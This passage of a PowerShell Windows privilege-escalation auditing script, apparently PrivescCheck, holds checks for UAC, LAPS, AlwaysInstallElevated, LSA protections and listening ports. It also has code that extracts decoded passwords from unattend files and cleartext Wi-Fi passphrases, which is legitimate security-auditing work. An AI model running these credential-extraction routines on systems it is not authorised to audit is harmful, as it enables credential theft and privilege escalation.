2136
2137 $Xml.GetElementsByTagName("AutoLogon") | ForEach-Object {
2138
2139 $Password = Get-DecodedPassword -XmlNode $_.Password
2140
2141 if ($Password -and ( -not ($Password -eq "*SENSITIVE*DATA*DELETED*"))) {
2142 $Item = New-Object -TypeName PSObject
2143 $Item | Add-Member -MemberType "NoteProperty" -Name "Type" -Value "AutoLogon"
2144 $Item | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value $_.Domain
2145 $Item | Add-Member -MemberType "NoteProperty" -Name "Username" -Value $_.Username
2146 $Item | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $Password
2147 $Item
2148 }
2149 }
2150
2151 $Xml.GetElementsByTagName("AdministratorPassword") | ForEach-Object {
2152
2153 $Password = Get-DecodedPassword -XmlNode $_
2154
2155 if ($Password -and ( -not ($Password -eq "*SENSITIVE*DATA*DELETED*"))) {
2156 $Item = New-Object -TypeName PSObject
2157 $Item | Add-Member -MemberType "NoteProperty" -Name "Type" -Value "AdministratorPassword"
2158 $Item | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value "N/A"
2159 $Item | Add-Member -MemberType "NoteProperty" -Name "Username" -Value "N/A"
2160 $Item | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $Password
2161 $Item
2162 }
2163 }
2164 }
2165}
2166#endregion Helpers
2167
2168
2169# ----------------------------------------------------------------
2170# Checks
2171# ----------------------------------------------------------------
2172#region Checks
2173
2174# ----------------------------------------------------------------
2175# BEGIN REGISTRY SETTINGS
2176# ----------------------------------------------------------------
2177function Invoke-UacCheck {
2178 <#
2179 .SYNOPSIS
2180
2181 Checks whether UAC (User Access Control) is enabled
2182
2183 Author: @itm4n
2184 License: BSD 3-Clause
2185
2186 .DESCRIPTION
2187
2188 The state of UAC can be determined based on the value of the parameter "EnableLUA" in the
2189 following registry key:
2190 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
2191 0 = Disabled
2192 1 = Enabled
2193
2194 .EXAMPLE
2195
2196 PS C:\> Invoke-UacCheck | fl
2197
2198 Path : Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
2199 EnableLUA : 1
2200 Enabled : True
2201
2202 .NOTES
2203
2204 "UAC was formerly known as Limited User Account (LUA)."
2205
2206 .LINK
2207
2208 https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-lua-settings-enablelua
2209 #>
2210
2211 [CmdletBinding()]Param()
2212
2213 $RegPath = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"
2214
2215 $Item = Get-ItemProperty -Path "Registry::$RegPath" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
2216 if (-not $GetItemPropertyError) {
2217 $UacResult = New-Object -TypeName PSObject
2218 $UacResult | Add-Member -MemberType "NoteProperty" -Name "Path" -Value $RegPath
2219 $UacResult | Add-Member -MemberType "NoteProperty" -Name "EnableLUA" -Value $Item.EnableLUA
2220 $UacResult | Add-Member -MemberType "NoteProperty" -Name "Enabled" -Value $($Item.EnableLUA -eq 1)
2221 $UacResult
2222 } else {
2223 Write-Verbose -Message "Error while querying '$RegPath'"
2224 }
2225}
2226
2227function Invoke-LapsCheck {
2228 <#
2229 .SYNOPSIS
2230
2231 Checks whether LAPS (Local Admin Password Solution) is enabled
2232
2233 Author: @itm4n
2234 License: BSD 3-Clause
2235
2236 .DESCRIPTION
2237
2238 The status of LAPS can be check using the following registry key.
2239 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft Services\AdmPwd
2240
2241 #>
2242
2243 [CmdletBinding()]Param()
2244
2245 $RegPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft Services\AdmPwd"
2246
2247 $Item = Get-ItemProperty -Path "Registry::$RegPath" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
2248 if (-not $GetItemPropertyError) {
2249 $LapsResult = New-Object -TypeName PSObject
2250 $LapsResult | Add-Member -MemberType "NoteProperty" -Name "Path" -Value $RegPath
2251 $LapsResult | Add-Member -MemberType "NoteProperty" -Name "AdmPwdEnabled" -Value $Item.AdmPwdEnabled
2252 $LapsResult | Add-Member -MemberType "NoteProperty" -Name "Enabled" -Value $($Item.AdmPwdEnabled -eq 1)
2253 $LapsResult
2254 }
2255}
2256
2257function Invoke-PowershellTranscriptionCheck {
2258 <#
2259 .SYNOPSIS
2260
2261 Checks whether PowerShell Transcription is configured/enabled
2262
2263 Author: @itm4n
2264 License: BSD 3-Clause
2265
2266 .DESCRIPTION
2267
2268 Powershell Transcription is used to log PowerShell scripts execution. It can be configured
2269 thanks to the Group Policy Editor. The settings are stored in the following registry key:
2270 HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription
2271
2272 .EXAMPLE
2273
2274 PS C:\> Invoke-PowershellTranscriptionCheck | fl
2275
2276 EnableTranscripting : 1
2277 EnableInvocationHeader : 1
2278 OutputDirectory : C:\Transcripts
2279
2280 .NOTES
2281
2282 If PowerShell Transcription is configured, the settings can be found here:
2283
2284 C:\>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription
2285
2286 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription
2287 EnableTranscripting REG_DWORD 0x1
2288 OutputDirectory REG_SZ C:\Transcripts
2289 EnableInvocationHeader REG_DWORD 0x1
2290
2291 To enable PowerShell Transcription:
2292 Group Policy Editor > Administrative Templates > Windows Components > Windows PowerShell > PowerShell Transcription
2293 Set an output directory and set the policy as Enabled
2294
2295 #>
2296
2297 [CmdletBinding()]Param()
2298
2299 $RegPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription"
2300
2301 $Item = Get-ItemProperty -Path "Registry::$RegPath" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
2302 if (-not $GetItemPropertyError) {
2303 # PowerShell Transcription is configured
2304 $PowershellTranscriptionResult = New-Object -TypeName PSObject
2305 $PowershellTranscriptionResult | Add-Member -MemberType "NoteProperty" -Name "EnableTranscripting" -Value $Item.EnableTranscripting
2306 $PowershellTranscriptionResult | Add-Member -MemberType "NoteProperty" -Name "EnableInvocationHeader" -Value $Item.EnableInvocationHeader
2307 $PowershellTranscriptionResult | Add-Member -MemberType "NoteProperty" -Name "OutputDirectory" -Value $Item.OutputDirectory
2308 $PowershellTranscriptionResult
2309 }
2310}
2311
2312function Invoke-RegistryAlwaysInstallElevatedCheck {
2313 <#
2314 .SYNOPSIS
2315
2316 Checks whether the AlwaysInstallElevated key is set in the registry.
2317
2318 Author: @itm4n
2319 License: BSD 3-Clause
2320
2321 .DESCRIPTION
2322
2323 AlwaysInstallElevated can be configured in both HKLM and HKCU. Therefore, this function will
2324 check these two locations and return the corresponding key if it exists and is enabled.
2325
2326 #>
2327
2328 [CmdletBinding()]Param()
2329
2330 $RegPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer"
2331
2332 if (Test-Path -Path "Registry::$RegPath" -ErrorAction SilentlyContinue) {
2333
2334 $HKLMval = Get-ItemProperty -Path "Registry::$RegPath" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
2335 if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){
2336 $RegistryAlwaysInstallElevatedItem = New-Object -TypeName PSObject
2337 $RegistryAlwaysInstallElevatedItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $RegPath
2338 $RegistryAlwaysInstallElevatedItem | Add-Member -MemberType "NoteProperty" -Name "AlwaysInstallElevated" -Value $HKLMval.AlwaysInstallElevated
2339 $RegistryAlwaysInstallElevatedItem | Add-Member -MemberType "NoteProperty" -Name "Enabled" -Value $True
2340 $RegistryAlwaysInstallElevatedItem
2341 }
2342 }
2343
2344 $RegPath = "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer"
2345
2346 if (Test-Path -Path "Registry::$RegPath" -ErrorAction SilentlyContinue) {
2347 $HKCUval = (Get-ItemProperty -Path "Registry::$RegPath" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue)
2348 if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){
2349 $RegistryAlwaysInstallElevatedItem = New-Object -TypeName PSObject
2350 $RegistryAlwaysInstallElevatedItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $RegPath
2351 $RegistryAlwaysInstallElevatedItem | Add-Member -MemberType "NoteProperty" -Name "AlwaysInstallElevated" -Value $HKLMval.AlwaysInstallElevated
2352 $RegistryAlwaysInstallElevatedItem | Add-Member -MemberType "NoteProperty" -Name "Enabled" -Value $True
2353 $RegistryAlwaysInstallElevatedItem
2354 }
2355 }
2356}
2357
2358function Invoke-LsaProtectionsCheck {
2359 <#
2360 .SYNOPSIS
2361
2362 Checks whether LSASS is configured to run as a Protected Process
2363
2364 Author: @itm4n
2365 License: BSD 3-Clause
2366
2367 .DESCRIPTION
2368
2369 First it reads the registry to check whether "RunAsPPL" is configured and enabled in the
2370 "LSA" key. It also checks whether additional protections such as Secure Boot or Credential
2371 Guard are configured / enabled.
2372
2373 .EXAMPLE
2374
2375 On Windows 10:
2376
2377 PS C:\> Invoke-LsaProtectionsCheck
2378
2379 Name Status Description
2380 ---- ------ -----------
2381 RunAsPPL True RunAsPPL is enabled
2382 UEFI True BIOS mode is UEFI
2383 Secure Boot True Secure Boot is enabled
2384 Credential Guard False Credential Guard is not configured
2385
2386 .EXAMPLE
2387
2388 On Windows Server 2012 R2:
2389
2390 PS C:\> Invoke-LsaProtectionsCheck
2391
2392 Name Status Description
2393 ---- ------ -----------
2394 RunAsPPL False RunAsPPL is not configured
2395 UEFI False BIOS mode is Legacy
2396 Secure Boot False Secure Boot is not supported
2397 Credential Guard False Credential Guard is not supported on this OS
2398
2399 #>
2400
2401 [CmdletBinding()]Param()
2402
2403 Get-LsaRunAsPPLStatus
2404 Get-UEFIStatus
2405 Get-SecureBootStatus
2406 Get-CredentialGuardStatus
2407
2408}
2409# ----------------------------------------------------------------
2410# END REGISTRY SETTINGS
2411# ----------------------------------------------------------------
2412
2413
2414# ----------------------------------------------------------------
2415# BEGIN NETWORK
2416# ----------------------------------------------------------------
2417function Get-RpcRange {
2418 <#
2419 .SYNOPSIS
2420
2421 Helper - Dynamically identifies the range of randomized RPC ports from a list of ports.
2422
2423 Author: @itm4n
2424 License: BSD 3-Clause
2425
2426 .DESCRIPTION
2427
2428 This function is a helper for the Invoke-TcpEndpointsCheck function. Windows uses a set of
2429 RPC ports that are radomly allocated in the range 49152-65535 by default. If we want to
2430 filter out these listening ports we must first figure out this set of ports. The aim of this
2431 function is to guess this range using basic statistics on a given array of port numbers. We
2432 can quite reliably identify the RPC port set because they are concentrated in a very small
2433 range. It's not 100% reliable but it will do the job most of the time.
2434
2435 .PARAMETER Ports
2436
2437 An array of port numbers
2438
2439 .EXAMPLE
2440
2441 PS C:\> Get-RpcRange -Ports $Ports
2442
2443 MinPort MaxPort
2444 ------- -------
2445 49664 49672
2446
2447 #>
2448
2449 [CmdletBinding()]Param(
2450 [Parameter(Mandatory=$True)]
2451 [int[]]
2452 $Ports
2453 )
2454
2455 function Get-Stats {
2456 [CmdletBinding()]Param(
2457 [int[]]$Ports,
2458 [int]$MinPort,
2459 [int]$MaxPort,
2460 [int]$Span
2461 )
2462
2463 $Stats = @()
2464 For ($i = $MinPort; $i -lt $MaxPort; $i += $Span) {
2465 $Counter = 0
2466 ForEach ($Port in $Ports) {
2467 if (($Port -ge $i) -and ($Port -lt ($i + $Span))) {
2468 $Counter += 1
2469 }
2470 }
2471 $RangeStats = New-Object -TypeName PSObject
2472 $RangeStats | Add-Member -MemberType "NoteProperty" -Name "MinPort" -Value $i
2473 $RangeStats | Add-Member -MemberType "NoteProperty" -Name "MaxPort" -Value ($i + $Span)
2474 $RangeStats | Add-Member -MemberType "NoteProperty" -Name "PortsInRange" -Value $Counter
2475 $Stats += $RangeStats
2476 }
2477 $Stats
2478 }
2479
2480 # We split the range 49152-65536 into blocks of size 32 and then, we take the block which has
2481 # greater number of ports in it.
2482 $Stats = Get-Stats -Ports $Ports -MinPort 49152 -MaxPort 65536 -Span 32
2483
2484 $MaxStat = $Null
2485 ForEach ($Stat in $Stats) {
2486 if ($Stat.PortsInRange -gt $MaxStat.PortsInRange) {
2487 $MaxStat = $Stat
2488 }
2489 }
2490
2491 For ($i = 0; $i -lt 8; $i++) {
2492 $Span = ($MaxStat.MaxPort - $MaxStat.MinPort) / 2
2493 $NewStats = Get-Stats -Ports $Ports -MinPort $MaxStat.MinPort -MaxPort $MaxStat.MaxPort -Span $Span
2494 if ($NewStats) {
2495 if ($NewStats[0].PortsInRange -eq 0) {
2496 $MaxStat = $NewStats[1]
2497 } elseif ($NewStats[1].PortsInRange -eq 0) {
2498 $MaxStat = $NewStats[0]
2499 } else {
2500 break
2501 }
2502 }
2503 }
2504
2505 $RpcRange = New-Object -TypeName PSObject
2506 $RpcRange | Add-Member -MemberType "NoteProperty" -Name "MinPort" -Value $MaxStat.MinPort
2507 $RpcRange | Add-Member -MemberType "NoteProperty" -Name "MaxPort" -Value $MaxStat.MaxPort
2508 $RpcRange
2509}
2510
2511function Invoke-TcpEndpointsCheck {
2512 <#
2513 .SYNOPSIS
2514
2515 Enumerates all TCP endpoints on the local machine (IPv4 and IPv6)
2516
2517 Author: @itm4n
2518 License: BSD 3-Clause
2519
2520 .DESCRIPTION
2521
2522 It uses the custom "Get-NetworkEndpoints" function to enumerate all the TCP endpoints on the
2523 local machine, IPv4 and IPv6. The list can then be filtered based on a list of known ports.
2524
2525 .PARAMETER Filtered
2526
2527 Use this switch to filter out the list of endpoints returned by this function. The filter
2528 excludes all the standard ports such as 445 or 139 and all the random RPC ports. The RPC port
2529 range is dynamically guessed using the helper function "Get-RpcRange".
2530
2531 .EXAMPLE
2532
2533 PS C:\> Invoke-TcpEndpointsCheck | ft
2534
2535 IP Proto LocalAddress State PID Name
2536 -- ----- ------------ ----- --- ----
2537 IPv4 TCP 0.0.0.0:135 LISTENING 968 svchost
2538 IPv4 TCP 0.0.0.0:445 LISTENING 4 System
2539 IPv4 TCP 0.0.0.0:5040 LISTENING 5408 svchost
2540 IPv4 TCP 0.0.0.0:49664 LISTENING 732 lsass
2541 IPv4 TCP 0.0.0.0:49665 LISTENING 564 wininit
2542 IPv4 TCP 0.0.0.0:49666 LISTENING 1208 svchost
2543 IPv4 TCP 0.0.0.0:49667 LISTENING 1412 svchost
2544 IPv4 TCP 0.0.0.0:49668 LISTENING 2416 spoolsv
2545 IPv4 TCP 0.0.0.0:49669 LISTENING 656 services
2546 IPv4 TCP 192.168.74.136:139 LISTENING 4 System
2547 IPv6 TCP [::]:135 LISTENING 968 svchost
2548 IPv6 TCP [::]:445 LISTENING 4 System
2549 IPv6 TCP [::]:49664 LISTENING 732 lsass
2550 IPv6 TCP [::]:49665 LISTENING 564 wininit
2551 IPv6 TCP [::]:49666 LISTENING 1208 svchost
2552 IPv6 TCP [::]:49667 LISTENING 1412 svchost
2553 IPv6 TCP [::]:49668 LISTENING 2416 spoolsv
2554 IPv6 TCP [::]:49669 LISTENING 656 services
2555
2556 #>
2557
2558 [CmdletBinding()]Param(
2559 [switch]$Filtered
2560 )
2561
2562 $IgnoredPorts = @(135, 139, 445)
2563
2564 $Endpoints = Get-NetworkEndpoints
2565 $Endpoints += Get-NetworkEndpoints -IPv6
2566
2567 if ($Filtered) {
2568 $FilteredEndpoints = @()
2569 $AllPorts = @()
2570 $Endpoints | ForEach-Object { $AllPorts += $_.LocalPort }
2571 $AllPorts = $AllPorts | Sort-Object -Unique
2572
2573 $RpcRange = Get-RpcRange -Ports $AllPorts
2574 Write-Verbose "Excluding port range: $($RpcRange.MinPort)-$($RpcRange.MaxPort)"
2575
2576 $Endpoints | ForEach-Object {
2577
2578 if (-not ($IgnoredPorts -contains $_.LocalPort)) {
2579
2580 if ($RpcRange) {
2581
2582 if (($_.LocalPort -lt $RpcRange.MinPort) -or ($_.LocalPort -ge $RpcRange.MaxPort)) {
2583
2584 $FilteredEndpoints += $_
2585 }
2586 }
2587 }
2588 }
2589 $Endpoints = $FilteredEndpoints
2590 }
2591
2592 $Endpoints | ForEach-Object {
2593 $TcpEndpoint = New-Object -TypeName PSObject
2594 $TcpEndpoint | Add-Member -MemberType "NoteProperty" -Name "IP" -Value $_.IP
2595 $TcpEndpoint | Add-Member -MemberType "NoteProperty" -Name "Proto" -Value $_.Proto
2596 $TcpEndpoint | Add-Member -MemberType "NoteProperty" -Name "LocalAddress" -Value $_.Endpoint
2597 $TcpEndpoint | Add-Member -MemberType "NoteProperty" -Name "State" -Value $_.State
2598 $TcpEndpoint | Add-Member -MemberType "NoteProperty" -Name "PID" -Value $_.PID
2599 $TcpEndpoint | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $_.Name
2600 $TcpEndpoint
2601 }
2602}
2603
2604function Invoke-UdpEndpointsCheck {
2605 <#
2606 .SYNOPSIS
2607
2608 Enumerates all UDP endpoints on the local machine (IPv4 and IPv6)
2609
2610 Author: @itm4n
2611 License: BSD 3-Clause
2612
2613 .DESCRIPTION
2614
2615 It uses the custom "Get-NetworkEndpoints" function to enumerate all the UDP endpoints on the
2616 local machine, IPv4 and IPv6. The list can be filtered based on a list of known ports.
2617
2618 .PARAMETER Filtered
2619
2620 Use this switch to filter out the list of endpoints returned by this function. The filter
2621 excludes all the standard ports such as 139 or 500.
2622
2623 .EXAMPLE
2624
2625 PS C:\> Invoke-UdpEndpointsCheck | ft
2626
2627 IP Proto LocalAddress State PID Name
2628 -- ----- ------------ ----- --- ----
2629 IPv4 UDP 0.0.0.0:5050 N/A 5408 svchost
2630 IPv4 UDP 0.0.0.0:5353 N/A 2176 svchost
2631 IPv4 UDP 0.0.0.0:5355 N/A 2176 svchost
2632 IPv4 UDP 0.0.0.0:54565 N/A 3100 SkypeApp
2633 IPv4 UDP 127.0.0.1:1900 N/A 5088 svchost
2634 IPv4 UDP 127.0.0.1:51008 N/A 5088 svchost
2635 IPv4 UDP 127.0.0.1:60407 N/A 3052 svchost
2636 IPv4 UDP 192.168.74.136:137 N/A 4 System
2637 IPv4 UDP 192.168.74.136:138 N/A 4 System
2638 IPv4 UDP 192.168.74.136:1900 N/A 5088 svchost
2639 IPv4 UDP 192.168.74.136:51007 N/A 5088 svchost
2640 IPv6 UDP [::]:5353 N/A 2176 svchost
2641 IPv6 UDP [::]:5355 N/A 2176 svchost
2642 IPv6 UDP [::]:54565 N/A 3100 SkypeApp
2643 IPv6 UDP [::1]:1900 N/A 5088 svchost
2644 IPv6 UDP [::1]:51006 N/A 5088 svchost
2645 IPv6 UDP [fe80::3a:b6c0:b5f0:a05e%12]:1900 N/A 5088 svchost
2646 IPv6 UDP [fe80::3a:b6c0:b5f0:a05e%12]:51005 N/A 5088 svchost
2647
2648 #>
2649
2650 [CmdletBinding()]Param(
2651 [switch]$Filtered
2652 )
2653
2654 # https://support.microsoft.com/en-us/help/832017/service-overview-and-network-port-requirements-for-windows
2655 $IgnoredPorts = @(53, 67, 123, 137, 138, 139, 500, 1701, 2535, 4500, 445, 1900, 5050, 5353, 5355)
2656
2657 $Endpoints = Get-NetworkEndpoints -UDP
2658 $Endpoints += Get-NetworkEndpoints -UDP -IPv6
2659
2660 if ($Filtered) {
2661 $FilteredEndpoints = @()
2662 $Endpoints | ForEach-Object {
2663 if (-not ($IgnoredPorts -contains $_.LocalPort)) {
2664 $FilteredEndpoints += $_
2665 }
2666 }
2667 $Endpoints = $FilteredEndpoints
2668 }
2669
2670 $Endpoints | ForEach-Object {
2671 if (-not ($_.Name -eq "dns")) {
2672 $UdpEndpoint = New-Object -TypeName PSObject
2673 $UdpEndpoint | Add-Member -MemberType "NoteProperty" -Name "IP" -Value $_.IP
2674 $UdpEndpoint | Add-Member -MemberType "NoteProperty" -Name "Proto" -Value $_.Proto
2675 $UdpEndpoint | Add-Member -MemberType "NoteProperty" -Name "LocalAddress" -Value $_.Endpoint
2676 $UdpEndpoint | Add-Member -MemberType "NoteProperty" -Name "State" -Value $_.State
2677 $UdpEndpoint | Add-Member -MemberType "NoteProperty" -Name "PID" -Value $_.PID
2678 $UdpEndpoint | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $_.Name
2679 $UdpEndpoint
2680 }
2681 }
2682}
2683
2684function Invoke-WlanProfilesCheck {
2685 <#
2686 .SYNOPSIS
2687
2688 Enumerates the saved Wifi profiles and extract the cleartext key/passphrase when applicable
2689
2690 Author: @itm4n
2691 License: BSD 3-Clause
2692
2693 .DESCRIPTION
2694
2695 The built-in "netsh" command allows one to list the saved Wifi profiles and extract the cleartext
2696 key or passphrase when applicable (e.g.: "netsh wlan show profile MyWifiProfile key=clear"). This
2697 function achieves the same goal. It iterates the list of Wlan interfaces in order to enumerate
2698 all the Wifi profiles which can be accessed in the context of the current user. If a network is
2699 configured with WEP or PSK authentication, it will attempt to extract the cleartext value of the
2700 key or passphrase.
2701
2702 .EXAMPLE
2703
2704 PS C:\> Invoke-WlanProfilesCheck
2705
2706 Profile : MySecretAccessPoint
2707 SSID : MySecretAccessPoint
2708 Authentication : WPA2PSK
2709 PassPhrase : AvErYsEcReTpAsSpHrAsE
2710 Interface : Compact Wireless-G USB Network Adapter
2711
2712 #>
2713
2714 [CmdletBinding()] param()
2715
2716 function Convert-ProfileXmlToObject {
2717
2718 [CmdletBinding()] param(
2719 [string]$ProfileXml
2720 )
2721
2722 $Xml = [xml] $ProfileXml
2723
2724 $Name = $Xml.WLANProfile.name
2725 $Ssid = $Xml.WLANProfile.SSIDConfig.SSID.name
2726 $Authentication = $Xml.WLANProfile.MSM.security.authEncryption.authentication
2727 $PassPhrase = $Xml.WLANProfile.MSM.security.sharedKey.keyMaterial
2728
2729 $Profile = New-Object -TypeName PSObject
2730 $Profile | Add-Member -MemberType "NoteProperty" -Name "Profile" -Value $Name
2731 $Profile | Add-Member -MemberType "NoteProperty" -Name "SSID" -Value $Ssid
2732 $Profile | Add-Member -MemberType "NoteProperty" -Name "Authentication" -Value $Authentication
2733 $Profile | Add-Member -MemberType "NoteProperty" -Name "PassPhrase" -Value $PassPhrase
2734 $Profile
2735 }
2736
2737 $ERROR_SUCCESS = 0
2738
2739 [IntPtr]$ClientHandle = [IntPtr]::Zero
2740 $NegotiatedVersion = 0
2741 $Result = [PrivescCheck.Win32]::WlanOpenHandle(2, [IntPtr]::Zero, [ref]$NegotiatedVersion, [ref]$ClientHandle)
2742 if ($Result -eq $ERROR_SUCCESS) {
2743
2744 Write-Verbose "WlanOpenHandle() OK - Handle: $($ClientHandle)"
2745
2746 [IntPtr]$InterfaceListPtr = [IntPtr]::Zero
2747 $Result = [PrivescCheck.Win32]::WlanEnumInterfaces($ClientHandle, [IntPtr]::Zero, [ref]$InterfaceListPtr)
2748 if ($Result -eq $ERROR_SUCCESS) {
2749
2750 Write-Verbose "WlanEnumInterfaces() OK - Interface list pointer: 0x$($InterfaceListPtr.ToString('X8'))"
2751
2752 $NumberOfInterfaces = [Runtime.InteropServices.Marshal]::ReadInt32($InterfaceListPtr)
2753 Write-Verbose "Number of Wlan interfaces: $($NumberOfInterfaces)"
2754
2755 # Calculate the pointer to the first WLAN_INTERFACE_INFO structure
2756 $WlanInterfaceInfoPtr = [IntPtr] ($InterfaceListPtr.ToInt64() + 8) # dwNumberOfItems + dwIndex
2757
2758 for ($i = 0; $i -lt $NumberOfInterfaces; $i++) {
2759
2760 $WlanInterfaceInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WlanInterfaceInfoPtr, [type] [PrivescCheck.Win32+WLAN_INTERFACE_INFO])
2761
2762 Write-Verbose "Wlan interface: $($WlanInterfaceInfo.strInterfaceDescription)"
2763
2764 [IntPtr]$ProfileListPtr = [IntPtr]::Zero
2765 $Result = [PrivescCheck.Win32]::WlanGetProfileList($ClientHandle, $WlanInterfaceInfo.InterfaceGuid, [IntPtr]::Zero, [ref]$ProfileListPtr)
2766 if ($Result -eq $ERROR_SUCCESS) {
2767
2768 Write-Verbose "WlanGetProfileList() OK - Profile list pointer: 0x$($ProfileListPtr.ToString('X8'))"
2769
2770 $NumberOfProfiles = [Runtime.InteropServices.Marshal]::ReadInt32($ProfileListPtr)
2771 Write-Verbose "Number of profiles: $($NumberOfProfiles)"
2772
2773 # Calculate the pointer to the first WLAN_PROFILE_INFO structure
2774 $WlanProfileInfoPtr = [IntPtr] ($ProfileListPtr.ToInt64() + 8) # dwNumberOfItems + dwIndex
2775
2776 for ($j = 0; $j -lt $NumberOfProfiles; $j++) {
2777
2778 $WlanProfileInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WlanProfileInfoPtr, [type] [PrivescCheck.Win32+WLAN_PROFILE_INFO])
2779
2780 Write-Verbose "Wlan profile: $($WlanProfileInfo.strProfileName)"
2781
2782 [string]$ProfileXml = ""
2783 [UInt32]$WlanProfileFlags = 4 # WLAN_PROFILE_GET_PLAINTEXT_KEY
2784 [UInt32]$WlanProfileAccessFlags = 0
2785 $Result = [PrivescCheck.Win32]::WlanGetProfile($ClientHandle, $WlanInterfaceInfo.InterfaceGuid, $WlanProfileInfo.strProfileName, [IntPtr]::Zero, [ref]$ProfileXml, [ref]$WlanProfileFlags, [ref]$WlanProfileAccessFlags)
2786 if ($Result -eq $ERROR_SUCCESS) {
2787
2788 Write-Verbose "WlanGetProfile() OK"
2789
2790 $Item = Convert-ProfileXmlToObject -ProfileXml $ProfileXml
2791 $Item | Add-Member -MemberType "NoteProperty" -Name "Interface" -Value $WlanInterfaceInfo.strInterfaceDescription
2792 $Item
2793
2794 } else {
2795 Write-Verbose "WlanGetProfile() failed (Err: $($Result))"
2796 }
2797
2798 # Calculate the pointer to the next WLAN_PROFILE_INFO structure
2799 $WlanProfileInfoPtr = [IntPtr] ($WlanProfileInfoPtr.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf($WlanProfileInfo))
2800 }
2801
2802 # cleanup
2803 [PrivescCheck.Win32]::WlanFreeMemory($ProfileListPtr)
2804
2805 } else {
2806 Write-Verbose "WlanGetProfileList() failed (Err: $($Result))"
2807 }
2808
2809 # Calculate the pointer to the next WLAN_INTERFACE_INFO structure
2810 $WlanInterfaceInfoPtr = [IntPtr] ($WlanInterfaceInfoPtr.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf($WlanInterfaceInfo))
2811 }
2812
2813 # cleanup
2814 [PrivescCheck.Win32]::WlanFreeMemory($InterfaceListPtr)
2815
2816 } else {
2817 Write-Verbose "WlanEnumInterfaces() failed (Err: $($Result))"
2818 }
2819
2820 # cleanup
2821 $Result = [PrivescCheck.Win32]::WlanCloseHandle($ClientHandle, [IntPtr]::Zero)
2822 if ($Result -eq $ERROR_SUCCESS) {
2823 Write-Verbose "WlanCloseHandle() OK"
2824 } else {
2825 Write-Verbose "WlanCloseHandle() failed (Err: $($Result))"
2826 }
2827
2828 } else {
2829 Write-Verbose "WlanOpenHandle() failed (Err: $($Result))"
2830 }
2831}
2832# ----------------------------------------------------------------
2833# END NETWORK
2834# ----------------------------------------------------------------
2835
2836# ----------------------------------------------------------------
2837# BEGIN MISC
2838# ----------------------------------------------------------------
2839function Invoke-SystemInfoCheck {
2840 <#
2841 .SYNOPSIS
2842
2843 Gets the name of the operating system and the full version string.
2844
2845 Author: @itm4n
2846 License: BSD 3-Clause
2847
2848 .DESCRIPTION
2849
2850 Reads the "Product Name" from the registry and gets the full version string based on the
2851 operating system.
2852
2853 .EXAMPLE
2854
2855 Invoke-SystemInfoCheck | fl
2856
2857 Name : Windows 10 Home
2858 Version : 10.0.18363 Version 1909 (18363.535)
2859
2860 .LINK
2861
2862 https://techthoughts.info/windows-version-numbers/
2863
2864 #>
2865
2866 [CmdletBinding()] param()
2867
2868 $OsName = ""
2869 $OsVersion = [System.Environment]::OSVersion.Version
2870
2871 $Item = Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
2872 if (-not $GetItemPropertyError) {
2873
2874 $OsName = $Item.ProductName
2875
2876 if ($OsVersion -like "10.*") {
2877 # Windows >= 10/2016
2878 $OsVersion = "$($Item.CurrentMajorVersionNumber).$($Item.CurrentMinorVersionNumber).$($Item.CurrentBuild) Version $($Item.ReleaseId) ($($Item.CurrentBuild).$($Item.UBR))"
2879 }
2880
2881 $SystemInfoResult = New-Object -TypeName PSObject
2882 $SystemInfoResult | Add-Member -MemberType NoteProperty -Name "Name" -Value $OsName
2883 $SystemInfoResult | Add-Member -MemberType NoteProperty -Name "Version" -Value $OsVersion
2884 $SystemInfoResult
2885
2886 } else {
2887 Write-Verbose $GetItemPropertyError
2888 }
2889}
2890
2891function Invoke-SystemStartupHistoryCheck {
2892 <#
2893 .SYNOPSIS
2894
2895 Gets a list of all the system startup events which occurred in the given time span.
2896
2897 Author: @itm4n
2898 License: BSD 3-Clause
2899
2900 .DESCRIPTION
2901
2902 It uses the Event Log to get a list of all the events that indicate a system startup. The start
2903 event of the Event Log service is used as a reference.
2904
2905 .PARAMETER TimeSpanInDays
2906
2907 An optional parameter indicating the time span to check in days. e.g.: check the last 31 days.
2908
2909 .EXAMPLE
2910
2911 PS C:\> Invoke-SystemStartupHistoryCheck
2912
2913 Index Time
2914 ----- ----
2915 1 2020-01-11 - 21:36:59
2916 2 2020-01-08 - 08:45:01
2917 3 2020-01-07 - 11:45:43
2918 4 2020-01-06 - 14:43:41
